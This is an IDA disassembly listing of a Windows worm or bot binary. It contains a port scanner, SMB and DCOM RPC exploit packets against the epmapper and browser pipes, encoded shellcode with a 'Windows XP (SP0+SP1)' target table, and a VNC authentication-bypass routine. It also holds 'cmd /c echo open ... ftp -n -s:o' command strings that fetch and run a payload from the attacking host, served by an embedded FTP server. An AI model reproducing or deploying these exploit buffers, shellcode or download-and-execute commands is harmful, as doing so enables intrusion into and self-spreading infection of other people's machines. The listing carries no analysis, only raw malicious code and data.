unk_431EF4	db  2Dh	; -		; DATA XREF: sub_40C3D3+3E2o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431F34	db  2Dh	; -		; DATA XREF: sub_40C3D3+387o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F6C	db  2Dh	; -		; DATA XREF: sub_40C3D3+317o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431FA0	db  2Dh	; -		; DATA XREF: sub_40C3D3+29Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431FD4	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C846+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CD85+B2o
		align 4
dword_432088	dd 10FF8h, 0		; DATA XREF: sub_40CD85+6Ao
dword_432090	dd 10FF8h		; DATA XREF: sub_40CD85+79o
dword_432094	dd 7FFDF020h, 0		; DATA XREF: sub_40CD85+162o
dword_43209C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1AF+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432124	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1AF+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432154	dd 0			; DATA XREF: sub_40D1AF+44o
		dd 800000D4h, 0
unk_432160	db  81h	; │		; DATA XREF: sub_40D289+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_4321AC	db 41h			; DATA XREF: sub_40D327+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; DATA XREF: ___:0040D606o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4322EC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_432302
		mov	[esi+8], eax
		call	sub_4322B5
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_432302
		mov	[esi+0Ch], eax
		call	sub_432267
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_432302
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4321F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432267	proc near		; CODE XREF: sub_4321F0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432290
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432267	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432290	proc near		; CODE XREF: sub_432267+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43229F:				; CODE XREF: sub_432290+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4322AC
		inc	ebx
		jmp	short loc_43229F
; ---------------------------------------------------------------------------


loc_4322AC:				; CODE XREF: sub_432290+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4322B5	proc near		; CODE XREF: sub_4321F0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4322CD:				; CODE XREF: sub_4322B5+1Ej
		cmp	[ecx], ebx
		jz	short loc_4322D5
		mov	ecx, [ecx]
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D5:				; CODE XREF: sub_4322B5+1Aj
		mov	edx, edi


loc_4322D7:				; CODE XREF: sub_4322B5+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4322E1
		mov	edx, [edx+4]
		jmp	short loc_4322D7
; ---------------------------------------------------------------------------


loc_4322E1:				; CODE XREF: sub_4322B5+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4322B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322EC	proc near		; CODE XREF: sub_4321F0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4322EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_432302	proc near		; CODE XREF: sub_4321F0+16p
					; sub_4321F0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_432318:				; CODE XREF: sub_432302+33j
		jecxz	short loc_432352
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_432325:				; CODE XREF: sub_432302+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_432331
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_432325
; ---------------------------------------------------------------------------


loc_432331:				; CODE XREF: sub_432302+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_432318
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432352:				; CODE XREF: sub_432302:loc_432318j
					; sub_432302:loc_432352j
		jmp	short loc_432352
sub_432302	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432358	proc near		; DATA XREF: ___:0040D5B4o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_4323AA
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432375:				; CODE XREF: sub_432358+38j
		jecxz	short loc_4323A5
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432380:				; CODE XREF: sub_432358+32j
		lodsb
		test	al, al
		jz	short loc_43238C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432380
; ---------------------------------------------------------------------------


loc_43238C:				; CODE XREF: sub_432358+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432375
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_4323A5:				; CODE XREF: sub_432358:loc_432375j
		mov	[esp+arg_0], ebx
		retn
sub_432358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4323AA	proc near		; CODE XREF: sub_432358+7p

; FUNCTION CHUNK AT 004323E2 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4323C3
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4323CE
; ---------------------------------------------------------------------------


loc_4323C3:				; CODE XREF: sub_4323AA+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4323CE:				; CODE XREF: sub_4323AA+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4323E2
sub_4323AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4323D5	proc near		; CODE XREF: sub_4323AA:loc_4323E2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4323D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4323AA


loc_4323E2:				; CODE XREF: sub_4323AA+29j
		call	sub_4323D5


loc_4323E7:				; DATA XREF: sub_40CD85+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_4323AA
; ---------------------------------------------------------------------------
		dw 0
dword_4323EC	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD85+2F5o
dword_4323F8	dd 30h			; DATA XREF: sub_40CD85+2CAo
dword_4323FC	dd 0A1h			; DATA XREF: sub_40CD85+29Fo
dword_432400	dd 3			; DATA XREF: sub_40CD85+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD85+153o
		align 4


loc_43240C:				; DATA XREF: sub_40CD85+E8o
		jmp	short near ptr dword_432414
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_432414	dd 0			; CODE XREF: ___:loc_43240Cj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5DBo
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_43247C	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E01Eo
					; ___:0040E158o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4324C8	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCEA+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_43282C	dd 20h,	0		; DATA XREF: sub_40DCEA+136o
		dd 20h,	5C005Ch, 0
off_432840	dd offset aEmant	; DATA XREF: sub_40DCEA+15Do
					; "emant"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 10h
dword_432880	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCEA+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_4328B4	dd offset word_580046	; DATA XREF: sub_40DCEA+45o
		dd offset loc_42004E
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004E
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0
dword_432990	dd 10016C6h		; DATA XREF: sub_40DCEA+104o
dword_432994	dd 100139Dh		; DATA XREF: sub_40DCEA+FBo
off_432998	dd offset dword_5C005C	; DATA XREF: sub_40DB4F+1Co
					; sub_40DC32+16o
		align 10h
off_4329A0	dd offset dword_49005C	; DATA XREF: sub_40DB4F+Co
					; sub_40DC32+Bo
		dd offset aLandes	; "Landes"
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E226o
					; ___:0041B90Co
		align 4
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1D9o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF7Eo
		align 4
dword_432A08	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040E634o
; ---------------------------------------------------------------------------


loc_432A14:				; CODE XREF: ___:00432A1Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432A14
		inc	edi
		jz	short loc_432A5B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_432A83
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432A5B:				; CODE XREF: ___:00432A21j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_432ABA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_432A80:				; CODE XREF: ___:00432AADj
		xor	[esi-25h], bl


loc_432A83:				; CODE XREF: ___:00432A29j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_432A9C:				; CODE XREF: ___:00432ACFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_432A80
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_432ABA:				; CODE XREF: ___:00432A61j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432B46
		jo	short loc_432A9C
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432ADD+1
		add	bl, [edi]


loc_432ADD:				; CODE XREF: ___:00432AD9j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432AF2+2
		cmp	ch, bh
		dec	edx


loc_432AF2:				; CODE XREF: ___:00432AEDj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_432B46:				; CODE XREF: ___:00432ACDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_432BCC
		sub	al, 0BCh
		jmp	near ptr 54452F3Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432B68	dd 0EFFFC481h, 44FFFFh,	432BB4h	; DATA XREF: ___:0040E61Bo
dword_432B74	dd 42Ah			; DATA XREF: ___:0040E5CEr
dword_432B78	dd 3E8h			; DATA XREF: ___:0040E63Fr
dword_432B7C	dd 258h			; DATA XREF: ___:0040E611r
byte_432B80	db 1			; DATA XREF: ___:0040E57Ar
					; ___:0040E648r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_432B98	dd 20804h		; DATA XREF: sub_40E288r ___:0040E666o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432B84o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_432BCC:				; CODE XREF: ___:00432B50j
		push	eax
		xor	al, 29h


loc_432BCF:				; DATA XREF: ___:0040E5A2o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432BD8	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040E4D2o
dword_432BEC	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040E476o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040E405o
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9CB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_432C94	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAB9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EDF5o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040EC82o
		align 4
word_433ED8	dw 1			; DATA XREF: ___:0040EBF9r
					; sub_41B4FB+24r ...
		align 4
dword_433EDC	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A152+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 32587256h, 7C205E5Eh, 312C3003h
		dd 3050207Ch, 46723377h, 796C6C75h, 31037C20h, 7C20382Ch
		dd 6E573020h, 3E204433h, 732520h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438010o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:0043801Co
		unicode	0, <A>,0
